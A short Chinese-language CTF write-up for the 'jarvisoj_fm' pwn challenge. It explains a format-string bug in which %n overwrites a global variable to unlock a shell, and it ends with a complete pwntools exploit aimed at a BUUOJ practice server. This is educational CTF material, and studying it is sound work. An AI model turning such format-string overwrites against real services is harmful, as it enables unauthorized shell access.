Share this post on:

jarvisoj_fm

在ida中查看伪代码

image-20220405213027568

发现第10行存在格式化字符串漏洞,结合程序流程只要x=4就可以拿到shell,跟进x看看

image-20220405213131153

这里的x值为3,我们需要将其修改为4

这就需要我们通过%n来对任意地址进行修改,一个很巧的原因,x为4,而地址本身就是4字节,所以格式化字符串的构造就很简单,下面确定输出点的位置

可以用下图的方法直接尝试看输入的参数在第几个位置

(图中我们输入了‘aaaa’,刚好对应第11个位置‘61616161’)

image-20220405212435432

则可以构造格式化字符串

printf("%11$n")

完整exp

from pwn import *

context(os='linux', arch='i386', log_level='debug')

r=remote('node4.buuoj.cn',26117)
# r = process('./pwn')
# gdb.attach(r)

x_addr = 0x0804A02C
payload = p32(x_addr)
payload += b'%11$n'
r.sendline(payload)

r.interactive()
Share this post on:

Leave a Comment

您的邮箱地址不会被公开。 必填项已用 * 标注